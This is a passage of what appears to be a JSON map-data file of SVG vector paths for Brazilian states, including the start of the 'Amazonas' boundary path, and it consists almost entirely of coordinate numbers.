20115.00 74949.00C20115.00 74959.67 20115.00 74970.33 20115.00 74981.00C20115.00 74970.33 20115.00 74959.67 20115.00 74949.00C20104.00 74970.33 20093.00 74991.67 20082.00 75013.00C20071.33 75002.33 20060.67 74991.67 20050.00 74981.00C20050.00 74991.67 20050.00 75002.33 20050.00 75013.00C20039.33 75023.67 20028.67 75034.33 20018.00 75045.00C19996.67 75098.67 19975.33 75152.33 19954.00 75206.00C19943.33 75195.33 19932.67 75184.67 19922.00 75174.00C19922.00 75227.67 19922.00 75281.33 19922.00 75335.00C19879.00 75335.00 19836.00 75335.00 19793.00 75335.00C19771.67 75324.33 19750.33 75313.67 19729.00 75303.00C19718.33 75313.67 19707.67 75324.33 19697.00 75335.00C19675.33 75335.00 19653.67 75335.00 19632.00 75335.00C19621.33 75345.67 19610.67 75356.33 19600.00 75367.00C19578.67 75367.00 19557.33 75367.00 19536.00 75367.00C19514.58 75388.37 19493.25 75409.86 19471.76 75431.16C19439.51 75452.44 19407.25 75473.72 19375.00 75495.00C19321.33 75516.67 19267.67 75538.33 19214.00 75560.00C19182.00 75581.33 19150.00 75602.67 19118.00 75624.00C19101.17 75640.81 19084.45 75657.73 19067.26 75674.17C19062.51 75678.78 19057.75 75683.39 19053.00 75688.00C19042.33 75731.00 19031.67 75774.00 19021.00 75817.00C19010.33 75827.67 18999.67 75838.33 18989.00 75849.00C18978.33 75870.33 18967.67 75891.67 18957.00 75913.00C18935.67 75934.67 18914.33 75956.33 18893.00 75978.00C18893.00 76010.00 18893.00 76042.00 18893.00 76074.00C18860.67 76074.00 18828.33 76074.00 18796.00 76074.00C18764.00 76063.33 18732.00 76052.67 18700.00 76042.00C18689.33 76042.00 18678.67 76042.00 18668.00 76042.00C18668.00 76063.33 18668.00 76084.67 18668.00 76106.00C18646.33 76106.00 18624.67 76106.00 18603.00 76106.00C18539.00 76127.67 18475.00 76149.33 18411.00 76171.00C18400.00 76171.00 18389.00 76171.00 18378.00 76171.00C18346.00 76138.67 18314.00 76106.33 18282.00 76074.00C18260.33 76084.67 18238.67 76095.33 18217.00 76106.00C18217.00 76127.67 18217.00 76149.33 18217.00 76171.00C18206.33 76171.00 18195.67 76171.00 18185.00 76171.00C18174.33 76160.00 18163.67 76149.00 18153.00 76138.00C18131.67 76170.33 18110.33 76202.67 18089.00 76235.00C16792.00 76235.00 15495.00 76235.00 14198.00 76235.00C14198.00 76213.67 14198.00 76192.33 14198.00 76171.00C14230.33 76160.00 14262.67 76149.00 14295.00 76138.00C14305.67 76116.67 14316.33 76095.33 14327.00 76074.00C14327.00 76031.33 14327.00 75988.67 14327.00 75946.00C14305.67 75935.00 14284.33 75924.00 14263.00 75913.00C14252.33 75902.33 14241.67 75891.67 14231.00 75881.00C14241.67 75859.67 14252.33 75838.33 14263.00 75817.00C14284.33 75806.33 14305.67 75795.67 14327.00 75785.00C14337.67 75752.67 14348.33 75720.33 14359.00 75688.00C14380.33 75677.33 14401.67 75666.67 14423.00 75656.00C14391.00 75624.00 14359.00 75592.00 14327.00 75560.00C14327.00 75517.00 14327.00 75474.00 14327.00 75431.00C14316.33 75420.33 14305.67 75409.67 14295.00 75399.00C14295.00 75388.33 14295.00 75377.67 14295.00 75367.00C14327.00 75334.67 14359.00 75302.33 14391.00 75270.00C14412.67 75259.33 14434.33 75248.67 14456.00 75238.00C14370.00 75195.33 14284.00 75152.67 14198.00 75110.00C14176.67 75110.00 14155.33 75110.00 14134.00 75110.00C14112.67 75099.00 14091.33 75088.00 14070.00 75077.00C14059.33 75066.33 14048.67 75055.67 14038.00 75045.00C14027.00 75055.67 14016.00 75066.33 14005.00 75077.00C13983.67 75055.67 13962.33 75034.33 13941.00 75013.00C13919.67 75013.00 13898.33 75013.00 13877.00 75013.00C13877.06 75002.25 13876.88 74991.46 13877.09 74980.73C13887.73 74948.82 13898.36 74916.91 13909.00 74885.00C13909.00 74863.33 13909.00 74841.67 13909.00 74820.00C13919.67 74788.00 13930.33 74756.00 13941.00 74724.00C13941.00 74691.67 13941.00 74659.33 13941.00 74627.00C13951.67 74605.67 13962.33 74584.33 13973.00 74563.00C13951.67 74531.00 13930.33 74499.00 13909.00 74467.00C13919.67 74424.00 13930.33 74381.00 13941.00 74338.00C13919.67 74338.00 13898.33 74338.00 13877.00 74338.00C13844.67 74316.67 13812.33 74295.33 13780.00 74274.00C13791.00 74177.33 13802.00 74080.67 13813.00 73984.00C13791.33 73973.33 13769.67 73962.67 13748.00 73952.00C13716.00 73962.67 13684.00 73973.33 13652.00 73984.00C13630.33 73973.33 13608.67 73962.67 13587.00 73952.00C13565.67 73962.67 13544.33 73973.33 13523.00 73984.00C13512.33 73984.00 13501.67 73984.00 13491.00 73984.00C13469.67 73962.67 13448.33 73941.33 13427.00 73920.00C13427.00 73909.33 13427.00 73898.67 13427.00 73888.00C13416.33 73888.00 13405.67 73888.00 13395.00 73888.00C13395.00 73855.67 13395.00 73823.33 13395.00 73791.00C13384.00 73791.00 13373.00 73791.00 13362.00 73791.00C13351.33 73780.33 13340.67 73769.67 13330.00 73759.00C13319.33 73759.00 13308.67 73759.00 13298.00 73759.00C13287.33 73748.33 13276.67 73737.67 13266.00 73727.00C13255.33 73737.67 13244.67 73748.33 13234.00 73759.00C13223.33 73759.00 13212.67 73759.00 13202.00 73759.00C13191.00 73748.33 13180.00 73737.67 13169.00 73727.00C13158.33 73727.00 13147.67 73727.00 13137.00 73727.00C13115.67 73705.67 13094.33 73684.33 13073.00 73663.00C13062.33 73673.67 13051.67 73684.33 13041.00 73695.00C12998.00 73695.00 12955.00 73695.00 12912.00 73695.00C12912.00 73684.33 12912.00 73673.67 12912.00 73663.00C12912.00 73673.67 12912.00 73684.33 12912.00 73695.00C12901.33 73695.00 12890.67 73695.00 12880.00 73695.00C12869.33 73705.67 12858.67 73716.33 12848.00 73727.00C12815.67 73716.33 12783.33 73705.67 12751.00 73695.00C12751.00 73705.67 12751.00 73716.33 12751.00 73727.00C12740.33 73716.33 12729.67 73705.67 12719.00 73695.00C12708.24 73695.05 12697.46 73694.91 12686.72 73695.07C12644.15 73705.71 12601.57 73716.36 12559.00 73727.00C12548.00 73727.00 12537.00 73727.00 12526.00 73727.00C12515.33 73716.33 12504.67 73705.67 12494.00 73695.00C12504.67 73695.00 12515.33 73695.00 12526.00 73695.00C12515.33 73695.00 12504.67 73695.00 12494.00 73695.00C12494.00 73684.33 12494.00 73673.67 12494.00 73663.00C12483.33 73663.00 12472.67 73663.00 12462.00 73663.00C12462.00 73652.33 12462.00 73641.67 12462.00 73631.00C12462.00 73641.67 12462.00 73652.33 12462.00 73663.00C12451.33 73652.33 12440.67 73641.67 12430.00 73631.00C12408.67 73631.00 12387.33 73631.00 12366.00 73631.00C12366.00 73641.67 12366.00 73652.33 12366.00 73663.00C12366.00 73641.33 12366.00 73619.67 12366.00 73598.00C12355.00 73609.00 12344.00 73620.00 12333.00 73631.00C12333.00 73620.00 12333.00 73609.00 12333.00 73598.00C12322.33 73598.00 12311.67 73598.00 12301.00 73598.00C12290.33 73587.33 12279.67 73576.67 12269.00 73566.00C12269.00 73576.67 12269.00 73587.33 12269.00 73598.00C12247.67 73587.33 12226.33 73576.67 12205.00 73566.00C12183.67 73566.00 12162.33 73566.00 12141.00 73566.00C12130.00 73555.33 12119.00 73544.67 12108.00 73534.00C12097.33 73544.67 12086.67 73555.33 12076.00 73566.00C12076.00 73555.33 12076.00 73544.67 12076.00 73534.00C12065.33 73534.00 12054.67 73534.00 12044.00 73534.00C12044.00 73523.33 12044.00 73512.67 12044.00 73502.00C12033.33 73512.67 12022.67 73523.33 12012.00 73534.00C12001.33 73523.33 11990.67 73512.67 11980.00 73502.00C11969.33 73512.67 11958.67 73523.33 11948.00 73534.00C11926.33 73534.00 11904.67 73534.00 11883.00 73534.00C11872.33 73523.33 11861.67 73512.67 11851.00 73502.00C11851.00 73491.33 11851.00 73480.67 11851.00 73470.00C11829.67 73480.67 11808.33 73491.33 11787.00 73502.00C11787.00 73491.33 11787.00 73480.67 11787.00 73470.00C11776.33 73470.00 11765.67 73470.00 11755.00 73470.00C11744.33 73480.67 11733.67 73491.33 11723.00 73502.00C11723.00 73491.33 11723.00 73480.67 11723.00 73470.00C11712.00 73470.00 11701.00 73470.00 11690.00 73470.00C11690.00 73459.33 11690.00 73448.67 11690.00 73438.00C11690.00 73448.67 11690.00 73459.33 11690.00 73470.00C11668.67 73459.33 11647.33 73448.67 11626.00 73438.00C11615.33 73427.00 11604.67 73416.00 11594.00 73405.00C11604.67 73394.33 11615.33 73383.67 11626.00 73373.00C11626.00 73362.33 11626.00 73351.67 11626.00 73341.00C10886.67 73341.00 10147.33 73341.00 9408.00 73341.00C9429.33 73319.67 9450.67 73298.33 9472.00 73277.00C9482.67 73234.00 9493.33 73191.00 9504.00 73148.00C9504.00 73137.33 9504.00 73126.67 9504.00 73116.00C9525.43 73105.32 9546.82 73094.53 9568.27 73083.91C9600.51 73073.27 9632.76 73062.64 9665.00 73052.00C9675.67 73030.33 9686.33 73008.67 9697.00 72987.00C9718.33 72976.33 9739.67 72965.67 9761.00 72955.00C9771.67 72923.00 9782.33 72891.00 9793.00 72859.00C9836.00 72848.33 9879.00 72837.67 9922.00 72827.00C9922.00 72816.33 9922.00 72805.67 9922.00 72795.00C9911.33 72773.33 9900.67 72751.67 9890.00 72730.00C9879.33 72719.33 9868.67 72708.67 9858.00 72698.00C9890.00 72687.33 9922.00 72676.67 9954.00 72666.00C9986.33 72612.33 10018.67 72558.67 10051.00 72505.00C10083.00 72483.67 10115.00 72462.33 10147.00 72441.00C10157.67 72462.33 10168.33 72483.67 10179.00 72505.00C10189.67 72505.00 10200.33 72505.00 10211.00 72505.00C10243.33 72483.67 10275.67 72462.33 10308.00 72441.00C10308.00 72430.33 10308.00 72419.67 10308.00 72409.00C10329.33 72398.33 10350.67 72387.67 10372.00 72377.00C10388.67 72359.83 10405.22 72342.55 10422.26 72325.74C10426.84 72321.16 10431.42 72316.58 10436.00 72312.00C10436.00 72301.33 10436.00 72290.67 10436.00 72280.00C10404.00 72269.33 10372.00 72258.67 10340.00 72248.00C10329.33 72237.33 10318.67 72226.67 10308.00 72216.00C10340.09 72194.30 10372.13 72172.51 10404.26 72150.87C10447.17 72129.58 10490.09 72108.29 10533.00 72087.00C10554.33 72065.67 10575.67 72044.33 10597.00 72023.00C10618.33 71969.33 10639.67 71915.67 10661.00 71862.00C10661.00 71819.33 10661.00 71776.67 10661.00 71734.00C10672.00 71712.33 10683.00 71690.67 10694.00 71669.00C10683.00 71647.67 10672.00 71626.33 10661.00 71605.00C10661.00 71562.00 10661.00 71519.00 10661.00 71476.00C10650.33 71454.67 10639.67 71433.33 10629.00 71412.00C10629.00 71401.33 10629.00 71390.67 10629.00 71380.00C10639.67 71369.33 10650.33 71358.67 10661.00 71348.00C10672.00 71326.33 10683.00 71304.67 10694.00 71283.00C10651.00 71272.33 10608.00 71261.67 10565.00 71251.00C10533.00 71154.67 10501.00 71058.33 10469.00 70962.00C10436.67 70951.33 10404.33 70940.67 10372.00 70930.00C10350.67 70930.00 10329.33 70930.00 10308.00 70930.00C10308.00 70887.00 10308.00 70844.00 10308.00 70801.00C10297.33 70833.33 10286.67 70865.67 10276.00 70898.00C10265.33 70908.67 10254.67 70919.33 10244.00 70930.00C10222.33 70908.33 10200.67 70886.67 10179.00 70865.00C10168.33 70822.33 10157.67 70779.67 10147.00 70737.00C10147.00 70715.33 10147.00 70693.67 10147.00 70672.00C10136.33 70661.33 10125.67 70650.67 10115.00 70640.00C10115.00 70608.00 10115.00 70576.00 10115.00 70544.00C10093.67 70544.00 10072.33 70544.00 10051.00 70544.00C10029.33 70511.67 10007.67 70479.33 9986.00 70447.00C9986.00 70404.33 9986.00 70361.67 9986.00 70319.00C9954.00 70286.67 9922.00 70254.33 9890.00 70222.00C9879.33 70157.67 9868.67 70093.33 9858.00 70029.00C9847.00 69997.00 9836.00 69965.00 9825.00 69933.00C9803.67 69922.33 9782.33 69911.67 9761.00 69901.00C9739.67 69868.67 9718.33 69836.33 9697.00 69804.00C9675.67 69804.00 9654.33 69804.00 9633.00 69804.00C9600.67 69793.33 9568.33 69782.67 9536.00 69772.00C9514.67 69782.67 9493.33 69793.33 9472.00 69804.00C9450.67 69804.00 9429.33 69804.00 9408.00 69804.00C9397.00 69793.33 9386.00 69782.67 9375.00 69772.00C9364.33 69772.00 9353.67 69772.00 9343.00 69772.00C9332.33 69750.67 9321.67 69729.33 9311.00 69708.00C9300.33 69708.00 9289.67 69708.00 9279.00 69708.00C9257.67 69686.33 9236.33 69664.67 9215.00 69643.00C9215.00 69611.00 9215.00 69579.00 9215.00 69547.00C9204.33 69536.33 9193.67 69525.67 9183.00 69515.00C9172.00 69525.67 9161.00 69536.33 9150.00 69547.00C9150.00 69525.67 9150.00 69504.33 9150.00 69483.00C9139.33 69472.33 9128.67 69461.67 9118.00 69451.00C9096.67 69461.67 9075.33 69472.33 9054.00 69483.00C9043.33 69440.00 9032.67 69397.00 9022.00 69354.00C9032.67 69343.33 9043.33 69332.67 9054.00 69322.00C9064.67 69279.00 9075.33 69236.00 9086.00 69193.00C9064.67 69107.33 9043.33 69021.67 9022.00 68936.00C9000.33 68882.33 8978.67 68828.67 8957.00 68775.00C8925.00 68775.00 8893.00 68775.00 8861.00 68775.00C8850.33 68764.33 8839.67 68753.67 8829.00 68743.00C8807.33 68743.00 8785.67 68743.00 8764.00 68743.00C8732.00 68732.33 8700.00 68721.67 8668.00 68711.00C8657.33 68721.67 8646.67 68732.33 8636.00 68743.00C8636.00 68732.33 8636.00 68721.67 8636.00 68711.00C8614.67 68721.67 8593.33 68732.33 8572.00 68743.00C8550.33 68711.00 8528.67 68679.00 8507.00 68647.00C8496.33 68604.00 8485.67 68561.00 8475.00 68518.00C8464.33 68496.67 8453.67 68475.33 8443.00 68454.00C8400.00 68454.00 8357.00 68454.00 8314.00 68454.00C8292.67 68432.67 8271.33 68411.33 8250.00 68390.00C8207.00 68379.00 8164.00 68368.00 8121.00 68357.00C8110.33 68357.00 8099.67 68357.00 8089.00 68357.00C8089.00 68335.67 8089.00 68314.33 8089.00 68293.00C8067.67 68293.00 8046.33 68293.00 8025.00 68293.00C8003.67 68282.33 7982.33 68271.67 7961.00 68261.00C7928.67 68218.00 7896.33 68175.00 7864.00 68132.00C7874.67 68078.67 7885.33 68025.33 7896.00 67972.00C7874.67 67950.33 7853.33 67928.67 7832.00 67907.00C7842.67 67864.33 7853.33 67821.67 7864.00 67779.00C7842.67 67746.67 7821.33 67714.33 7800.00 67682.00C7789.33 67671.33 7778.67 67660.67 7768.00 67650.00C7768.00 67639.33 7768.00 67628.67 7768.00 67618.00C7746.33 67607.33 7724.67 67596.67 7703.00 67586.00C7692.33 67553.67 7681.67 67521.33 7671.00 67489.00C7649.67 67478.33 7628.33 67467.67 7607.00 67457.00C7617.67 67425.00 7628.33 67393.00 7639.00 67361.00C7638.95 67339.24 7639.09 67317.46 7638.93 67295.72C7628.29 67253.15 7617.64 67210.57 7607.00 67168.00C7617.67 67135.67 7628.33 67103.33 7639.00 67071.00C7628.33 67028.33 7617.67 66985.67 7607.00 66943.00C7585.63 66921.24 7564.15 66899.57 7542.84 66877.76C7521.23 66845.84 7499.61 66813.92 7478.00 66782.00C7456.67 66771.33 7435.33 66760.67 7414.00 66750.00C7424.67 66717.67 7435.33 66685.33 7446.00 66653.00C7446.00 66621.00 7446.00 66589.00 7446.00 66557.00C7414.00 66524.67 7382.00 66492.33 7350.00 66460.00C7317.67 66471.00 7285.33 66482.00 7253.00 66493.00C7231.67 66493.00 7210.33 66493.00 7189.00 66493.00C7178.33 66439.33 7167.67 66385.67 7157.00 66332.00C7135.33 66310.33 7113.67 66288.67 7092.00 66267.00C7060.00 66267.00 7028.00 66267.00 6996.00 66267.00C6985.33 66278.00 6974.67 66289.00 6964.00 66300.00C6953.33 66300.00 6942.67 66300.00 6932.00 66300.00C6920.28 66288.03 6908.79 66275.82 6896.91 66264.01C6886.94 66254.34 6876.97 66244.67 6867.00 66235.00C6867.00 66203.00 6867.00 66171.00 6867.00 66139.00C6856.33 66117.67 6845.67 66096.33 6835.00 66075.00C6803.00 66042.67 6771.00 66010.33 6739.00 65978.00C6749.67 65967.33 6760.33 65956.67 6771.00 65946.00C6792.33 65946.00 6813.67 65946.00 6835.00 65946.00C6813.67 65903.00 6792.33 65860.00 6771.00 65817.00C6781.67 65795.67 6792.33 65774.33 6803.00 65753.00C6813.67 65753.00 6824.33 65753.00 6835.00 65753.00C6856.67 65785.00 6878.33 65817.00 6900.00 65849.00C6953.33 65849.00 7006.67 65849.00 7060.00 65849.00C7081.70 65816.91 7103.48 65784.87 7125.13 65752.74C7135.75 65731.50 7146.38 65710.25 7157.00 65689.00C7157.04 65656.57 7156.93 65624.13 7157.06 65591.72C7167.70 65538.15 7178.35 65484.57 7189.00 65431.00C7178.33 65399.00 7167.67 65367.00 7157.00 65335.00C7135.18 65324.22 7113.29 65313.56 7091.51 65302.70C7038.34 65270.47 6985.17 65238.23 6932.00 65206.00C6921.33 65195.33 6910.67 65184.67 6900.00 65174.00C6825.00 65152.67 6750.00 65131.33 6675.00 65110.00C6632.00 65110.00 6589.00 65110.00 6546.00 65110.00C6535.29 65099.24 6524.47 65088.58 6513.84 65077.76C6492.23 65045.51 6470.61 65013.25 6449.00 64981.00C6438.33 64949.00 6427.67 64917.00 6417.00 64885.00C6385.00 64885.00 6353.00 64885.00 6321.00 64885.00C6288.67 64852.67 6256.33 64820.33 6224.00 64788.00C6213.33 64745.33 6202.67 64702.67 6192.00 64660.00C6160.00 64649.33 6128.00 64638.67 6096.00 64628.00C5999.33 64531.33 5902.67 64434.67 5806.00 64338.00C5784.67 64338.00 5763.33 64338.00 5742.00 64338.00C5731.33 64284.33 5720.67 64230.67 5710.00 64177.00C5742.00 64177.00 5774.00 64177.00 5806.00 64177.00C5838.33 64166.33 5870.67 64155.67 5903.00 64145.00C5935.00 64091.67 5967.00 64038.33 5999.00 63985.00C5999.00 63963.33 5999.00 63941.67 5999.00 63920.00C6020.67 63898.67 6042.33 63877.33 6064.00 63856.00C6042.33 63834.67 6020.67 63813.33 5999.00 63792.00C5999.00 63738.33 5999.00 63684.67 5999.00 63631.00C5977.67 63609.67 5956.33 63588.33 5935.00 63567.00C5903.00 63492.00 5871.00 63417.00 5839.00 63342.00C5839.00 63320.33 5839.00 63298.67 5839.00 63277.00C5849.67 63266.33 5860.33 63255.67 5871.00 63245.00C5881.67 63255.67 5892.33 63266.33 5903.00 63277.00C5913.67 63298.67 5924.33 63320.33 5935.00 63342.00C5945.67 63331.00 5956.33 63320.00 5967.00 63309.00C5977.67 63309.00 5988.33 63309.00 5999.00 63309.00C6031.33 63341.33 6063.67 63373.67 6096.00 63406.00C6160.33 63416.67 6224.67 63427.33 6289.00 63438.00C6299.68 63416.57 6310.47 63395.18 6321.09 63373.73C6331.73 63341.49 6342.36 63309.24 6353.00 63277.00C6396.00 63255.67 6439.00 63234.33 6482.00 63213.00C6503.33 63213.00 6524.67 63213.00 6546.00 63213.00C6578.00 63223.67 6610.00 63234.33 6642.00 63245.00C6685.00 63223.67 6728.00 63202.33 6771.00 63181.00C6781.67 63181.00 6792.33 63181.00 6803.00 63181.00C6803.00 63213.00 6803.00 63245.00 6803.00 63277.00C6813.67 63277.00 6824.33 63277.00 6835.00 63277.00C6888.67 63245.00 6942.33 63213.00 6996.00 63181.00C7028.00 63138.00 7060.00 63095.00 7092.00 63052.00C7092.00 63041.33 7092.00 63030.67 7092.00 63020.00C7070.67 62977.00 7049.33 62934.00 7028.00 62891.00C7028.00 62837.67 7028.00 62784.33 7028.00 62731.00C7006.57 62709.30 6985.25 62687.47 6963.76 62665.84C6931.51 62644.56 6899.25 62623.28 6867.00 62602.00C6856.33 62591.33 6845.67 62580.67 6835.00 62570.00C6824.33 62516.33 6813.67 62462.67 6803.00 62409.00C6781.67 62387.67 6760.33 62366.33 6739.00 62345.00C6728.33 62323.33 6717.67 62301.67 6707.00 62280.00C6685.33 62258.67 6663.67 62237.33 6642.00 62216.00C6642.00 62205.33 6642.00 62194.67 6642.00 62184.00C6631.33 62162.67 6620.67 62141.33 6610.00 62120.00z"},"br-04":{"name":"Amazonas","path":"M6610.00 62120.00C6652.32 62075.64 6696.79 62033.40 6739.93 61989.88C6793.29 61925.92 6846.64 61861.96 6900.00 61798.00C6921.33 61755.33 6942.67 61712.67 6964.00 61670.00C6964.00 61648.33 6964.00 61626.67 6964.00 61605.00C6942.67 61594.33 6921.33 61583.67 6900.00 61573.00C6900.00 61519.33 6900.00 61465.67 6900.00 61412.00C6878.33 61369.33 6856.67 61326.67 6835.00 61284.00C6835.23 61272.81 6834.55 61261.41 6835.33 61250.35C6856.89 61207.90 6878.44 61165.45 6900.00 61123.00C6932.00 61090.67 6964.00 61058.33 6996.00 61026.00C7006.59 60993.75 7017.79 60961.59 7028.00 60929.27C7028.30 60918.41 7027.40 60907.36 7028.46 60896.62C7038.97 60864.74 7049.49 60832.87 7060.00 60801.00C7070.67 60801.00 7081.33 60801.00 7092.00 60801.00C7103.19 60789.86 7115.02 60779.26 7125.81 60767.79C7146.87 60736.19 7167.94 60704.60 7189.00 60673.00C7210.33 60662.33 7231.67 60651.67 7253.00 60641.00C7285.51 60586.88 7318.31 60532.91 7350.64 60478.69C7361.10 60457.46 7371.55 60436.23 7382.00 60415.00C7425.15 60382.80 7468.48 60350.82 7511.52 60318.49C7522.48 60307.80 7532.95 60296.51 7544.21 60286.19C7575.81 60265.13 7607.40 60244.06 7639.00 60223.00C7682.00 60223.00 7725.00 60223.00 7768.00 60223.00C7778.67 60190.67 7789.33 60158.33 7800.00 60126.00C7853.67 60083.33 7907.33 60040.67 7961.00 59998.00C7993.00 59987.00 8025.00 59976.00 8057.00 59965.00C8078.33 59965.00 8099.67 59965.00 8121.00 59965.00C8132.00 59954.33 8143.00 59943.67 8154.00 59933.00C8186.00 59933.00 8218.00 59933.00 8250.00 59933.00C8282.33 59911.67 8314.67 59890.33 8347.00 59869.00C8357.86 59868.78 8368.92 59869.43 8379.65 59868.67C8400.77 59858.12 8421.88 59847.56 8443.00 59837.00C8464.55 59836.85 8486.20 59837.31 8507.69 59836.77C8539.79 59826.18 8571.90 59815.59 8604.00 59805.00C8604.00 59772.67 8604.00 59740.33 8604.00 59708.00C8614.93 59697.29 8625.49 59686.07 8636.65 59675.67C8657.77 59665.12 8678.88 59654.56 8700.00 59644.00C8710.67 59622.67 8721.33 59601.33 8732.00 59580.00C8753.67 59580.00 8775.33 59580.00 8797.00 59580.00C8807.67 59590.67 8818.33 59601.33 8829.00 59612.00C8839.67 59601.33 8850.33 59590.67 8861.00 59580.00C8904.00 59580.00 8947.00 59580.00 8990.00 59580.00C9022.00 59569.00 9054.00 59558.00 9086.00 59547.00C9139.67 59547.00 9193.33 59547.00 9247.00 59547.00C9268.33 59536.33 9289.67 59525.67 9311.00 59515.00C9311.00 59504.33 9311.00 59493.67 9311.00 59483.00C9332.33 59472.33 9353.67 59461.67 9375.00 59451.00C9375.00 59461.67 9375.00 59472.33 9375.00 59483.00C9386.00 59493.67 9397.00 59504.33 9408.00 59515.00C9429.33 59493.67 9450.67 59472.33 9472.00 59451.00C9461.33 59440.33 9450.67 59429.67 9440.00 59419.00C9450.67 59408.33 9461.33 59397.67 9472.00 59387.00C9472.00 59376.00 9472.00 59365.00 9472.00 59354.00C9482.67 59354.00 9493.33 59354.00 9504.00 59354.00C9514.67 59343.33 9525.33 59332.67 9536.00 59322.00C9536.00 59300.67 9536.00 59279.33 9536.00 59258.00C9557.33 59247.33 9578.67 59236.67 9600.00 59226.00C9611.00 59236.67 9622.00 59247.33 9633.00 59258.00C9643.67 59258.00 9654.33 59258.00 9665.00 59258.00C9686.54 59225.85 9707.80 59193.49 9729.51 59161.48C9740.00 59150.65 9750.50 59139.83 9761.00 59129.00C9750.33 59118.33 9739.67 59107.67 9729.00 59097.00C9739.65 59086.04 9751.06 59075.56 9761.23 59064.31C9771.82 59032.54 9782.41 59000.77 9793.00 58969.00C9803.67 58958.33 9814.33 58947.67 9825.00 58937.00C9825.00 58926.00 9825.00 58915.00 9825.00 58904.00C9836.00 58893.33 9847.00 58882.67 9858.00 58872.00C9847.00 58840.00 9836.00 58808.00 9825.00 58776.00C9836.00 58765.33 9847.00 58754.67 9858.00 58744.00C9868.67 58744.00 9879.33 58744.00 9890.00 58744.00C9890.00 58722.33 9890.00 58700.67 9890.00 58679.00C9879.33 58657.67 9868.67 58636.33 9858.00 58615.00C9836.33 58604.33 9814.67 58593.67 9793.00 58583.00C9782.33 58540.00 9771.67 58497.00 9761.00 58454.00C9750.33 58443.33 9739.67 58432.67 9729.00 58422.00C9718.33 58368.33 9707.67 58314.67 9697.00 58261.00C9686.33 58271.67 9675.67 58282.33 9665.00 58293.00C9665.00 58271.67 9665.00 58250.33 9665.00 58229.00C9654.33 58207.67 9643.67 58186.33 9633.00 58165.00C9633.00 58122.00 9633.00 58079.00 9633.00 58036.00C9600.67 58004.00 9568.33 57972.00 9536.00 57940.00C9525.33 57940.00 9514.67 57940.00 9504.00 57940.00C9493.33 57907.67 9482.67 57875.33 9472.00 57843.00C9450.54 57832.10 9428.73 57821.69 9407.48 57810.49C9396.65 57800.00 9385.83 57789.50 9375.00 57779.00C9375.00 57704.00 9375.00 57629.00 9375.00 57554.00C9321.67 57500.33 9268.33 57446.67 9215.00 57393.00C9215.00 57328.67 9215.00 57264.33 9215.00 57200.00C9247.00 57168.00 9279.00 57136.00 9311.00 57104.00C9300.33 57093.33 9289.67 57082.67 9279.00 57072.00C9289.67 57061.00 9300.33 57050.00 9311.00 57039.00C9300.33 56975.00 9289.67 56911.00 9279.00 56847.00C9289.67 56847.00 9300.33 56847.00 9311.00 56847.00C9332.33 56825.33 9353.67 56803.67 9375.00 56782.00C9375.00 56771.33 9375.00 56760.67 9375.00 56750.00C9386.00 56739.33 9397.00 56728.67 9408.00 56718.00C9418.86 56717.78 9429.92 56718.43 9440.65 56717.67C9461.77 56707.12 9482.88 56696.56 9504.00 56686.00C9504.12 56664.11 9503.76 56642.15 9504.18 56620.29C9514.73 56577.61 9525.75 56534.99 9536.00 56492.27C9536.00 56449.51 9536.00 56406.76 9536.00 56364.00C9546.67 56342.67 9557.33 56321.33 9568.00 56300.00C9578.67 56310.67 9589.33 56321.33 9600.00 56332.00C9600.00 56278.33 9600.00 56224.67 9600.00 56171.00C9621.67 56149.67 9643.33 56128.33 9665.00 56107.00C9665.00 56085.67 9665.00 56064.33 9665.00 56043.00C9675.67 56032.33 9686.33 56021.67 9697.00 56011.00C9718.55 56010.84 9740.20 56011.31 9761.69 56010.76C9793.79 55999.84 9825.90 55988.92 9858.00 55978.00C9858.00 55935.33 9858.00 55892.67 9858.00 55850.00C9868.67 55839.33 9879.33 55828.67 9890.00 55818.00C9911.33 55818.00 9932.67 55818.00 9954.00 55818.00C9954.00 55807.00 9954.00 55796.00 9954.00 55785.00C9986.33 55774.33 10018.67 55763.67 10051.00 55753.00C10072.33 55721.00 10093.67 55689.00 10115.00 55657.00C10125.67 55657.00 10136.33 55657.00 10147.00 55657.00C10147.00 55624.67 10147.00 55592.33 10147.00 55560.00C10157.67 55560.00 10168.33 55560.00 10179.00 55560.00C10189.67 55528.00 10200.33 55496.00 10211.00 55464.00C10222.19 55463.78 10233.59 55464.44 10244.65 55463.67C10265.77 55453.12 10286.88 55442.56 10308.00 55432.00C10308.00 55410.33 10308.00 55388.67 10308.00 55367.00C10340.00 55356.33 10372.00 55345.67 10404.00 55335.00C10404.00 55313.67 10404.00 55292.33 10404.00 55271.00C10414.67 55260.33 10425.33 55249.67 10436.00 55239.00C10436.00 55228.33 10436.00 55217.67 10436.00 55207.00C10447.00 55207.00 10458.00 55207.00 10469.00 55207.00C10469.00 55153.33 10469.00 55099.67 10469.00 55046.00C10490.33 55035.33 10511.67 55024.67 10533.00 55014.00C10543.67 55024.67 10554.33 55035.33 10565.00 55046.00C10575.67 55035.33 10586.33 55024.67 10597.00 55014.00C10586.33 54992.67 10575.67 54971.33 10565.00 54950.00C10565.00 54928.33 10565.00 54906.67 10565.00 54885.00C10554.33 54874.33 10543.67 54863.67 10533.00 54853.00C10533.15 54831.45 10532.69 54809.80 10533.23 54788.31C10543.82 54756.21 10554.41 54724.10 10565.00 54692.00C10586.33 54681.33 10607.67 54670.67 10629.00 54660.00C10618.33 54638.67 10607.67 54617.33 10597.00 54596.00C10607.67 54585.33 10618.33 54574.67 10629.00 54564.00C10629.00 54521.00 10629.00 54478.00 10629.00 54435.00C10618.33 54413.67 10607.67 54392.33 10597.00 54371.00C10597.12 54317.11 10596.77 54263.15 10597.17 54209.29C10607.94 54166.33 10618.31 54123.22 10629.33 54080.35C10639.88 54059.23 10650.44 54038.12 10661.00 54017.00C10650.33 54006.33 10639.67 53995.67 10629.00 53985.00C10650.67 53974.33 10672.33 53963.67 10694.00 53953.00C10704.67 53920.67 10715.33 53888.33 10726.00 53856.00C10736.67 53845.33 10747.33 53834.67 10758.00 53824.00C10758.22 53813.14 10757.57 53802.08 10758.33 53791.35C10768.88 53770.23 10779.44 53749.12 10790.00 53728.00C10790.00 53706.33 10790.00 53684.67 10790.00 53663.00C10811.33 53652.33 10832.67 53641.67 10854.00 53631.00C10854.31 53619.90 10853.38 53608.59 10854.47 53597.62C10865.32 53566.08 10876.16 53534.54 10887.00 53503.00C10887.00 53481.33 10887.00 53459.67 10887.00 53438.00C10908.33 53416.67 10929.67 53395.33 10951.00 53374.00C10951.00 53363.33 10951.00 53352.67 10951.00 53342.00C10972.33 53320.67 10993.67 53299.33 11015.00 53278.00C11015.00 53267.00 11015.00 